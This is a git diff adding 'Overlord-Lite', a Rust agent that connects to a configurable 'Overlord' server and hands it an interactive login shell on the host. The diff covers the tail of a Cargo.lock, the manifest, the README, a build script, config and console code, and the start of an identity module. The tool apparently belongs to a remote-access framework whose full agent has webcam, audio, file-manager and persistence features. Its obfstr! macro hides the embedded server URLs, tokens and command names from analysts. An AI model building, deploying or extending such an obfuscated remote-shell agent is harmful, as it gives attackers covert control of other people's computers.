+ "rand", + "rustls", + "rustls-pki-types", + "sha1", + "thiserror 2.0.20", + "utf-8", +] + +[[package]] +name = "typenum" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "uuid" +version = "1.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2cefc03fd367c0c6d4305de1b312cf00248c4114f4a0418ce6a6af769e3b0bd9" +dependencies = [ + "getrandom 0.4.3", + "js-sys", + "serde_core", + "wasm-bindgen", +] + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.4+wasi-0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b67efb37e106e55ce722a510d6b5f9c17f083e5fc79afc2badeb12cc313d9487" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasm-bindgen" +version = "0.2.127" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b70935747edd64d89de3efa29d73789b806c15798f8e7dca4d8ac356b50ce70" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.127" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77775f8f3f7217702089053b94958f8f54061a3f663417df76e19cbdcca29bc1" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.127" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e11d33f857dc2fb11b8bc75aee111aa9cbeb12cd9f25efd3d4c2a3dd4e235284" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn 2.0.119", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.127" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ef64dbcc55df09c7e5a46182d181c2cfa3e925f3da937ea764728b4bbb9dcbf" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "webpki-roots" +version = "0.26.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521bc38abb08001b01866da9f51eb7c5d647a19260e00054a8c7fd5f9e57f7a9" +dependencies = [ + "webpki-roots 1.0.9", +] + +[[package]] +name = "webpki-roots" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dcd9d09a39985f5344844e66b0c530a33843579125f23e21e9f0f220850f22a" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi", +] + +[[package]] +name = "wit-bindgen" +version = "0.57.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e" + +[[package]] +name = "zerocopy" +version = "0.8.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "556764e583adb45a9f8d413c2a147fa7e8d821e48e12b14fd560b607998b75eb" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2ab42fc20575779bd240faa45f94a74256f755c0fa9e89f0ede20d91d0cdfc1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zeroize" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13c156562582aa81c60cb29407084cdb54c4164760106ab78e6c5b0858cf64e" + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/Overlord-Lite/Cargo.toml b/Overlord-Lite/Cargo.toml new file mode 100644 index 0000000..5170d5f --- /dev/null +++ b/Overlord-Lite/Cargo.toml @@ -0,0 +1,39 @@ +[package] +name = "overlord-lite" +version = "0.3.0" +edition = "2024" +rust-version = "1.88" +license = "Apache-2.0" +description = "Minimal Rust agent for authenticated Overlord sessions" + +[dependencies] +anyhow = "1.0" +base64 = "0.22" +ed25519-dalek = { version = "2.2", features = ["rand_core"] } +futures-util = "0.3" +overlord-lite-string-obfuscator = { path = "string-obfuscator" } +portable-pty = "0.9" +rand_core = { version = "0.6", features = ["getrandom"] } +rmp-serde = "1.3" +rmpv = { version = "1.3", features = ["with-serde"] } +rustls = { version = "0.23", default-features = false, features = ["ring", "std"] } +serde = { version = "1.0", features = ["derive"] } +serde_bytes = "0.11" +serde_json = "1.0" +sha2 = "0.10" +tokio = { version = "1.48", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] } +tokio-tungstenite = { version = "0.28", default-features = false, features = ["connect", "handshake", "rustls-tls-webpki-roots"] } +uuid = { version = "1.18", features = ["v4", "serde"] } + +[build-dependencies] +serde_json = "1.0" + +[dev-dependencies] +tempfile = "3.23" + +[profile.release] +strip = true +lto = true +codegen-units = 1 +panic = "abort" +opt-level = "z" diff --git a/Overlord-Lite/README.md b/Overlord-Lite/README.md new file mode 100644 index 0000000..76a3189 --- /dev/null +++ b/Overlord-Lite/README.md @@ -0,0 +1,107 @@ +# Overlord Lite + +Overlord Lite is a deliberately small Rust agent that proves the Overlord wire +protocol works independently of the full Go agent. It supports authenticated +server sessions, TLS identity pinning, heartbeats, and reconnection. It does +not advertise or execute remote commands beyond its interactive TTY console. + +## Supported + +- Agent-token authentication through `x-agent-token` +- TLS 1.3-only encrypted transport, with public-root or pinned self-signed identities +- Persistent Ed25519 identity and enrollment challenge signing +- MessagePack protocol negotiation +- Ping/pong heartbeat and reconnect/server rotation +- Interactive TTY console sessions with resize support + +Plugins, desktop, file-manager, audio, webcam, persistence, update, +and other full-agent commands are intentionally omitted. + +## Build + +Rust 1.88 or newer is required. + +```text +cd Overlord-Lite +cargo build --release +``` + +The output is `target/release/overlord-lite` (`overlord-lite.exe` on Windows). +The release profile enables size optimization, LTO, symbol stripping, and +abort-on-panic. + +String literals that should not appear in plaintext in the executable can use +the local `obfstr!` procedural macro: + +```rust +let header = overlord_lite::obfstr!("x-agent-token"); +``` + +The macro encrypts the literal while compiling and returns a decrypted +`String` only when the expression runs. Builder-embedded server URLs, agent +tokens, build tags, TLS pins, and advertised Lite command names use it +automatically. This is binary obfuscation rather than secret storage: because +the executable must decrypt its own values, a determined analyst can still +recover them at runtime. + +For Build-page integration, install `plugins/rust-lite-builder/rust-lite-builder.zip` +through the Plugin Manager. The Agent Type selector will then offer **Rust +Lite** and route selected targets through Cargo while retaining normal build +permissions, history, downloads, hooks, and file-share upload behavior. Cargo +and the requested Rust targets/linkers must be installed on the server host. + +## Run + +Configure the agent with the same token used by the server: + +```powershell +$env:OVERLORD_SERVER = "wss://overlord.example.com:5173" +$env:OVERLORD_AGENT_TOKEN = "your-agent-token" +cargo run --release +``` + +Multiple servers may be comma-separated. Bare hosts default to `wss://`. + +For a local development server using a self-signed certificate: + +```powershell +$env:OVERLORD_SERVER = "wss://localhost:5173" +$env:OVERLORD_TLS_INSECURE_SKIP_VERIFY = "true" +cargo run +``` + +Disabling certificate verification also permits plaintext `ws://`. Do not +enable it for production deployments. + +Builder-produced binaries automatically embed the server's active TLS SPKI +pin, so they securely accept its generated self-signed certificate without the +development bypass. For manual builds, `OVERLORD_TLS_SPKI_PINS` accepts one or +more comma-separated `sha256/` public-key pins. + +## Configuration + +| Variable | Default | Purpose | +| --- | --- | --- | +| `OVERLORD_SERVER` | `wss://127.0.0.1:5173` | One server, or a comma-separated rotation list | +| `OVERLORD_AGENT_TOKEN` | empty | Shared server agent token | +| `OVERLORD_BUILD_TAG` | compiled build tag | Runtime override for server build attribution | +| `OVERLORD_TLS_SPKI_PINS` | compiled server pins | Comma-separated trusted server public-key pins | +| `OVERLORD_TLS_INSECURE_SKIP_VERIFY` | `false` | Development-only TLS bypass | +| `OVERLORD_LITE_STATE_DIR` | platform state directory | Persistent client ID and Ed25519 seed | +| `OVERLORD_RECONNECT_DELAY_MS` | `5000` | Delay between connection attempts | +| `OVERLORD_PING_INTERVAL_MS` | `30000` | Application heartbeat interval | + +The identity file is created once as `identity.json`. Keep it private: deleting +it creates a new identity that must enroll again. + +The builder compiles `OVERLORD_LITE_DEFAULT_SERVER`, +`OVERLORD_LITE_DEFAULT_AGENT_TOKEN`, and `OVERLORD_LITE_DEFAULT_BUILD_TAG` into +the binary along with the server's TLS SPKI pins. Their corresponding runtime +variables take precedence, so one binary can still be redirected deliberately +after deployment. + +## Protocol compatibility + +`build.rs` reads `../protocol/wire-contract.json` during every build and +generates the Lite client's protocol version from the canonical contract. The +client advertises only the four version 1 console commands it implements. diff --git a/Overlord-Lite/build.rs b/Overlord-Lite/build.rs new file mode 100644 index 0000000..2042324 --- /dev/null +++ b/Overlord-Lite/build.rs @@ -0,0 +1,72 @@ +use std::{env, fs, path::PathBuf}; + +use serde_json::Value; + +fn main() { + for name in [ + "OVERLORD_LITE_DEFAULT_SERVER", + "OVERLORD_LITE_DEFAULT_AGENT_TOKEN", + "OVERLORD_LITE_DEFAULT_BUILD_TAG", + "OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS", + ] { + println!("cargo:rerun-if-env-changed={name}"); + } + let contract_path = PathBuf::from("../protocol/wire-contract.json"); + println!("cargo:rerun-if-changed={}", contract_path.display()); + let contract: Value = serde_json::from_slice( + &fs::read(&contract_path).expect("read protocol/wire-contract.json"), + ) + .expect("parse protocol/wire-contract.json"); + + let protocol_version = contract["protocolVersion"] + .as_u64() + .expect("wire contract protocolVersion"); + let mut generated = format!("pub const WIRE_PROTOCOL_VERSION: u16 = {protocol_version};\n"); + for (name, env_name) in [ + ("built_default_server", "OVERLORD_LITE_DEFAULT_SERVER"), + ( + "built_default_agent_token", + "OVERLORD_LITE_DEFAULT_AGENT_TOKEN", + ), + ("built_default_build_tag", "OVERLORD_LITE_DEFAULT_BUILD_TAG"), + ( + "built_default_tls_spki_pins", + "OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS", + ), + ] { + let value = env::var(env_name).unwrap_or_default(); + generated.push_str(&format!( + "pub fn {name}() -> String {{ crate::obfstr!({value:?}) }}\n" + )); + } + let commands = contract["commands"] + .as_array() + .expect("wire contract commands"); + let default_version = contract["commandVersioning"]["defaultVersion"] + .as_u64() + .expect("wire contract default command version"); + let lite_commands = [ + "console_input", + "console_resize", + "console_start", + "console_stop", + ]; + for command in lite_commands { + assert!( + commands.iter().any(|value| value.as_str() == Some(command)), + "Lite command {command} is missing from the wire contract" + ); + assert_eq!( + default_version, 1, + "Lite console handlers implement command version 1" + ); + } + generated.push_str("pub fn lite_command_version_support() -> [(String, u16, u16); 4] { [\n"); + for command in lite_commands { + generated.push_str(&format!(" (crate::obfstr!({command:?}), 1, 1),\n")); + } + generated.push_str("] }\n"); + + let output = PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR")).join("wire_contract.rs"); + fs::write(output, generated).expect("write generated Rust wire constants"); +} diff --git a/Overlord-Lite/src/config.rs b/Overlord-Lite/src/config.rs new file mode 100644 index 0000000..4ff3b17 --- /dev/null +++ b/Overlord-Lite/src/config.rs @@ -0,0 +1,234 @@ +use std::{env, fmt, path::PathBuf, time::Duration}; + +use anyhow::{Context, Result, bail}; +use base64::{Engine as _, engine::general_purpose::STANDARD}; +use tokio_tungstenite::tungstenite::http::Uri; + +use crate::{obfstr, protocol}; + +#[derive(Clone, Debug)] +pub struct Config { + pub servers: Vec, + pub agent_token: Option, + pub build_tag: Option, + pub insecure_tls: bool, + pub tls_spki_pins: Vec<[u8; 32]>, + pub state_dir: PathBuf, + pub reconnect_delay: Duration, + pub heartbeat_interval: Duration, +} + +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct ServerUrl { + normalized: String, + scheme: String, +} + +impl ServerUrl { + pub fn parse(value: &str) -> Result { + parse_server_url(value) + } + + pub fn as_str(&self) -> &str { + &self.normalized + } + + pub fn scheme(&self) -> &str { + &self.scheme + } +} + +impl fmt::Display for ServerUrl { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str(&self.normalized) + } +} + +impl Config { + pub fn from_env() -> Result { + let raw_servers = env::var(obfstr!("OVERLORD_SERVER")).unwrap_or_else(|_| { + let built_default = protocol::built_default_server(); + if built_default.is_empty() { + obfstr!("wss://127.0.0.1:5173") + } else { + built_default + } + }); + let servers = raw_servers + .split(',') + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(parse_server_url) + .collect::>>()?; + if servers.is_empty() { + bail!("OVERLORD_SERVER did not contain a server URL"); + } + + let insecure_tls = env_bool(&obfstr!("OVERLORD_TLS_INSECURE_SKIP_VERIFY")); + let raw_tls_spki_pins = env::var(obfstr!("OVERLORD_TLS_SPKI_PINS")) + .ok() + .filter(|value| !value.trim().is_empty()) + .unwrap_or_else(protocol::built_default_tls_spki_pins); + let tls_spki_pins = parse_tls_spki_pins(&raw_tls_spki_pins)?; + if servers.iter().any(|url| url.scheme() == obfstr!("ws")) && !insecure_tls { + bail!("plaintext ws:// requires OVERLORD_TLS_INSECURE_SKIP_VERIFY=true"); + } + + Ok(Self { + servers, + agent_token: env::var(obfstr!("OVERLORD_AGENT_TOKEN")) + .ok() + .or_else(|| Some(protocol::built_default_agent_token())) + .filter(|value| !value.trim().is_empty()), + build_tag: env::var(obfstr!("OVERLORD_BUILD_TAG")) + .ok() + .or_else(|| Some(protocol::built_default_build_tag())) + .filter(|value| !value.trim().is_empty()), + insecure_tls, + tls_spki_pins, + state_dir: env::var_os(obfstr!("OVERLORD_LITE_STATE_DIR")) + .map(PathBuf::from) + .unwrap_or_else(default_state_dir), + reconnect_delay: env_duration(&obfstr!("OVERLORD_RECONNECT_DELAY_MS"), 5_000), + heartbeat_interval: env_duration(&obfstr!("OVERLORD_PING_INTERVAL_MS"), 30_000), + }) + } +} + +fn parse_tls_spki_pins(value: &str) -> Result> { + value + .split(',') + .map(str::trim) + .filter(|pin| !pin.is_empty()) + .map(|pin| { + let prefix = obfstr!("sha256/"); + let encoded = pin.strip_prefix(&prefix).unwrap_or(pin); + let decoded = STANDARD + .decode(encoded) + .with_context(|| format!("invalid TLS SPKI pin {pin:?}"))?; + decoded + .try_into() + .map_err(|_| anyhow::anyhow!("invalid TLS SPKI pin {pin:?}: expected 32 bytes")) + }) + .collect() +} + +fn parse_server_url(value: &str) -> Result { + let separator = obfstr!("://"); + let with_scheme = if value.contains(&separator) { + value.to_owned() + } else { + let mut server = obfstr!("wss://"); + server.push_str(value); + server + }; + let without_fragment = with_scheme.split('#').next().unwrap_or(&with_scheme); + let uri: Uri = without_fragment + .parse() + .with_context(|| format!("invalid server URL {value:?}"))?; + let input_scheme = uri + .scheme_str() + .ok_or_else(|| anyhow::anyhow!("server URL is missing a scheme"))?; + let scheme = if input_scheme == obfstr!("https") { + obfstr!("wss") + } else if input_scheme == obfstr!("http") { + obfstr!("ws") + } else if input_scheme == obfstr!("wss") || input_scheme == obfstr!("ws") { + input_scheme.to_owned() + } else { + bail!("unsupported server URL scheme {input_scheme:?}"); + }; + let authority = uri + .authority() + .ok_or_else(|| anyhow::anyhow!("server URL is missing a host"))?; + if authority.host().is_empty() || authority.as_str().contains('@') { + bail!("server URL has an invalid host"); + } + Ok(ServerUrl { + normalized: format!("{scheme}://{authority}/"), + scheme, + }) +} + +fn env_bool(name: &str) -> bool { + env::var(name) + .map(|value| { + let normalized = value.trim().to_ascii_lowercase(); + normalized == obfstr!("1") + || normalized == obfstr!("true") + || normalized == obfstr!("yes") + || normalized == obfstr!("on") + }) + .unwrap_or(false) +} + +fn env_duration(name: &str, default_ms: u64) -> Duration { + let ms = env::var(name) + .ok() + .and_then(|value| value.trim().parse::().ok()) + .unwrap_or(default_ms); + Duration::from_millis(ms) +} + +fn default_state_dir() -> PathBuf { + #[cfg(target_os = "windows")] + if let Some(root) = env::var_os(obfstr!("LOCALAPPDATA")) { + return PathBuf::from(root) + .join(obfstr!("Overlord")) + .join(obfstr!("Lite")); + } + + #[cfg(target_os = "macos")] + if let Some(root) = env::var_os(obfstr!("HOME")) { + return PathBuf::from(root) + .join(obfstr!("Library")) + .join(obfstr!("Application Support")) + .join(obfstr!("Overlord Lite")); + } + + if let Some(root) = env::var_os(obfstr!("XDG_STATE_HOME")) { + return PathBuf::from(root).join(obfstr!("overlord-lite")); + } + if let Some(root) = env::var_os(obfstr!("HOME")) { + return PathBuf::from(root) + .join(obfstr!(".local")) + .join(obfstr!("state")) + .join(obfstr!("overlord-lite")); + } + PathBuf::from(obfstr!(".overlord-lite")) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn normalizes_server_urls() { + assert_eq!( + ServerUrl::parse("example.com:5173").unwrap().as_str(), + "wss://example.com:5173/" + ); + assert_eq!( + ServerUrl::parse("https://example.com/base") + .unwrap() + .as_str(), + "wss://example.com/" + ); + assert_eq!( + ServerUrl::parse("http://[::1]:5173/path?ignored=true#fragment") + .unwrap() + .as_str(), + "ws://[::1]:5173/" + ); + assert!(ServerUrl::parse("ftp://example.com").is_err()); + assert!(ServerUrl::parse("wss://user@example.com").is_err()); + } + + #[test] + fn parses_prefixed_and_plain_spki_pins() { + let encoded = STANDARD.encode([0x42; 32]); + let pins = parse_tls_spki_pins(&format!("sha256/{encoded},{encoded}")).unwrap(); + assert_eq!(pins, vec![[0x42; 32], [0x42; 32]]); + assert!(parse_tls_spki_pins("not-a-pin").is_err()); + } +} diff --git a/Overlord-Lite/src/console.rs b/Overlord-Lite/src/console.rs new file mode 100644 index 0000000..622ba15 --- /dev/null +++ b/Overlord-Lite/src/console.rs @@ -0,0 +1,283 @@ +use std::{ + collections::HashMap, + env, + io::{Read, Write}, + sync::LazyLock, + thread, +}; + +use anyhow::{Context, Result, anyhow, bail}; +use portable_pty::{ChildKiller, CommandBuilder, MasterPty, PtySize, native_pty_system}; +use tokio::sync::mpsc::Sender; + +use crate::obfstr; +use crate::protocol::{self, ConsoleOutput}; + +const DEFAULT_COLS: u16 = 120; +const DEFAULT_ROWS: u16 = 36; +const MAX_DIMENSION: u16 = 1_000; +static CONSOLE_OUTPUT: LazyLock = LazyLock::new(|| obfstr!("console_output")); + +struct ConsoleSession { + master: Box, + writer: Box, + killer: Box, +} + +pub struct ConsoleHub { + sessions: HashMap, + outbound: Sender>, +} + +impl ConsoleHub { + pub fn new(outbound: Sender>) -> Self { + Self { + sessions: HashMap::new(), + outbound, + } + } + + pub fn start(&mut self, session_id: &str, cols: i64, rows: i64) -> Result<()> { + validate_session_id(session_id)?; + self.stop(session_id); + + let size = terminal_size(cols, rows); + let pair = native_pty_system().openpty(size).context("open terminal")?; + let mut command = shell_command(); + command.env(obfstr!("TERM"), obfstr!("xterm-256color")); + let child = pair + .slave + .spawn_command(command) + .context("start terminal shell")?; + drop(pair.slave); + + let reader = pair + .master + .try_clone_reader() + .context("open terminal output")?; + let writer = pair.master.take_writer().context("open terminal input")?; + let killer = child.clone_killer(); + + spawn_output_forwarder(session_id.to_owned(), reader, child, self.outbound.clone()); + self.sessions.insert( + session_id.to_owned(), + ConsoleSession { + master: pair.master, + writer, + killer, + }, + ); + Ok(()) + } + + pub fn write(&mut self, session_id: &str, data: &str) -> Result<()> { + let session = self + .sessions + .get_mut(session_id) + .ok_or_else(|| anyhow!("console session not found"))?; + session + .writer + .write_all(data.as_bytes()) + .context("write terminal input")?; + session.writer.flush().context("flush terminal input") + } + + pub fn resize(&self, session_id: &str, cols: i64, rows: i64) -> Result<()> { + let session = self + .sessions + .get(session_id) + .ok_or_else(|| anyhow!("console session not found"))?; + session + .master + .resize(terminal_size(cols, rows)) + .context("resize terminal") + } + + pub fn stop(&mut self, session_id: &str) { + if let Some(mut session) = self.sessions.remove(session_id) { + let _ = session.killer.kill(); + } + } + + pub fn stop_all(&mut self) { + for (_, mut session) in self.sessions.drain() { + let _ = session.killer.kill(); + } + } +} + +impl Drop for ConsoleHub { + fn drop(&mut self) { + self.stop_all(); + } +} + +fn spawn_output_forwarder( + session_id: String, + mut reader: Box, + mut child: Box, + outbound: Sender>, +) { + thread::spawn(move || { + let mut buffer = [0u8; 4096]; + loop { + match reader.read(&mut buffer) { + Ok(0) => break, + Ok(size) => send_output(&outbound, &session_id, Some(&buffer[..size]), None, None), + Err(error) => { + send_output(&outbound, &session_id, None, None, Some(&error.to_string())); + break; + } + } + } + + match child.wait() { + Ok(status) => send_output( + &outbound, + &session_id, + None, + Some(i32::try_from(status.exit_code()).unwrap_or(i32::MAX)), + None, + ), + Err(error) => send_output(&outbound, &session_id, None, None, Some(&error.to_string())), + } + }); +} + +fn send_output( + outbound: &Sender>, + session_id: &str, + data: Option<&[u8]>, + exit_code: Option, + error: Option<&str>, +) { + let message = ConsoleOutput { + message_type: CONSOLE_OUTPUT.as_str(), + session_id, + data: data.map(serde_bytes::Bytes::new), + exit_code, + error, + }; + if let Ok(encoded) = protocol::encode(&message) { + let _ = outbound.blocking_send(encoded); + } +} + +fn shell_command() -> CommandBuilder { + if cfg!(windows) { + return CommandBuilder::new( + env::var_os(obfstr!("COMSPEC")).unwrap_or_else(|| obfstr!("cmd.exe").into()), + ); + } + + let shell = env::var_os(obfstr!("SHELL")).unwrap_or_else(|| { + if cfg!(target_os = "macos") { + obfstr!("/bin/zsh").into() + } else { + obfstr!("/bin/bash").into() + } + }); + let mut command = CommandBuilder::new(shell); + command.arg(obfstr!("-l")); + command +} + +fn validate_session_id(session_id: &str) -> Result<()> { + if session_id.is_empty() { + bail!("missing console session id"); + } + if session_id.len() > 128 { + bail!("console session id is too long"); + } + Ok(()) +} + +fn terminal_size(cols: i64, rows: i64) -> PtySize { + PtySize { + cols: dimension(cols, DEFAULT_COLS), + rows: dimension(rows, DEFAULT_ROWS), + pixel_width: 0, + pixel_height: 0, + } +} + +fn dimension(value: i64, default: u16) -> u16 { + if value <= 0 { + default + } else { + u16::try_from(value) + .unwrap_or(MAX_DIMENSION) + .min(MAX_DIMENSION) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use std::time::{Duration, Instant}; + + #[test] + fn terminal_dimensions_are_defaulted_and_bounded() { + assert_eq!( + terminal_size(0, -1), + PtySize { + cols: 120, + rows: 36, + pixel_width: 0, + pixel_height: 0 + } + ); + assert_eq!(terminal_size(2_000, 50).cols, 1_000); + assert_eq!(terminal_size(80, 50).rows, 50); + } + + #[test] + fn session_ids_are_required_and_bounded() { + assert!(validate_session_id("").is_err()); + assert!(validate_session_id(&"x".repeat(129)).is_err()); + assert!(validate_session_id("console-1").is_ok()); + } + + #[test] + fn terminal_streams_command_output() { + let (tx, mut rx) = tokio::sync::mpsc::channel(64); + let mut hub = ConsoleHub::new(tx); + hub.start("smoke", 80, 24).unwrap(); + let input = if cfg!(windows) { + "\x1b[1;1Recho overlord-lite-tty\r\nexit\r\n" + } else { + "echo overlord-lite-tty\nexit\n" + }; + hub.write("smoke", input).unwrap(); + + let deadline = Instant::now() + Duration::from_secs(10); + let mut output = Vec::new(); + while Instant::now() < deadline { + match rx.try_recv() { + Ok(message) => { + let decoded = protocol::decode(&message).unwrap(); + if let Some(rmpv::Value::Binary(data)) = protocol::field(&decoded, "data") { + output.extend_from_slice(data); + if String::from_utf8_lossy(&output).contains("overlord-lite-tty") { + break; + } + } + if protocol::integer_field(&decoded, "exitCode").is_some() { + break; + } + } + Err(tokio::sync::mpsc::error::TryRecvError::Empty) => { + thread::sleep(Duration::from_millis(10)); + } + Err(tokio::sync::mpsc::error::TryRecvError::Disconnected) => break, + } + } + + hub.stop_all(); + assert!( + String::from_utf8_lossy(&output).contains("overlord-lite-tty"), + "terminal output did not contain the marker: {:?}", + String::from_utf8_lossy(&output) + ); + } +} diff --git a/Overlord-Lite/src/identity.rs b/Overlord-Lite/src/identity.rs new file mode 100644 index 0000000..f1271c6 --- /dev/null +++ b/Overlord-Lite/src/identity.rs @@ -0,0 +1,91 @@ +use std::{fs, path::Path}; + +use anyhow::{Context, Result, bail}; +use base64::{Engine as _, engine::general_purpose::STANDARD}; +use ed25519_dalek::{Signer, SigningKey}; +use rand_core::OsRng; +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; +use uuid::Uuid; + +#[derive(Debug)] +pub struct Identity { + pub client_id: String, + signing_key: SigningKey, +} + +#[derive(Serialize, Deserialize)] +struct StoredIdentity { + client_id: String, + seed_base64: String, +} + +impl Identity { + pub fn load_or_create(state_dir: &Path) -> Result { + fs::create_dir_all(state_dir) + .with_context(|| format!("create state directory {}", state_dir.display()))?; + let path = state_dir.join("identity.json"); + if path.exists() { + let data = fs::read(&path).with_context(|| format!("read {}", path.display()))?; + let stored: StoredIdentity = serde_json::from_slice(&data) + .with_context(|| format!("parse {}", path.display()))?; + let seed = STANDARD + .decode(stored.seed_base64) + .context("decode identity seed")?; + let seed: [u8; 32] = seed + .try_into() + .map_err(|_| anyhow::anyhow!("identity seed must be 32 bytes"))?; + return 